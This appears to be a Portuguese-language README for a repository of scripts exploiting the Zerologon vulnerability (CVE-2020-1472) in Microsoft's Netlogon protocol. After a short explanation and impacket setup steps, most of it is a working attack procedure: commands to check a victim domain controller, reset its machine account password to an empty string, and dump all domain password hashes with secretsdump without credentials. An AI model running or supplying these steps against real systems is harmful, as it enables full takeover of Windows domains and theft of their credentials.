Zerologon

Conjunto de scripts, para testar e explorar a vulnerabilidade zerologon (CVE-2020-1472)

---

O que é?

ZeroLogon é uma vulnerabilidade que nos permite explorar uma falha de criptografia no Microsoft Active Directory Netlogon Remote Protocol (MS-NRPC), que permite que os usuários façam login em servidores usando NTLM.

---

Passos anteriores

Antes de executar o exploit, devemos saber que precisamos de uma versão diferente do impacket, para isso faremos o seguinte.

apt remove --purge impacket-scripts python3-impacket

git clone https://github.com/SecureAuthCorp/impacket.git

cd impacket

pip install .

---

PoC (Prova de Conceito)

git clone https://github.com/Nekoox/zerologon.git

cd zerologon

pip install -r requirements.txt

Verifique se o controlador de domínio vítima é vulnerável ao zerologon.

python3 tester.py <DC-NAME> <ip-address>

No caso de o DC vítima ser vulnerável, aparecerá uma mensagem dizendo "Sucesso! O DC pode ser totalmente comprometido por um ataque Zerologon."

Caso contrário, ou seja, o DC vítima não é vulnerável porque a falha de segurança foi corrigida, obteremos a seguinte mensagem "Ataque falhou. O alvo provavelmente está corrigido."

---

Altere a senha do controlador de domínio vulnerável para uma string vazia.

python3 empty_pw.py <DC-NAME> <ip-address>

Se o Controlador de Domínio for vulnerável, após executar o exploit, ele não deve ter nenhuma senha.

Despeje hashes do Controlador de Domínio.

> secretsdump.py -just-dc <DC-NAME>\$@<ip-address>

Ao executar isso, poderemos ver todos os hashes do domínio, sem nenhuma credencial.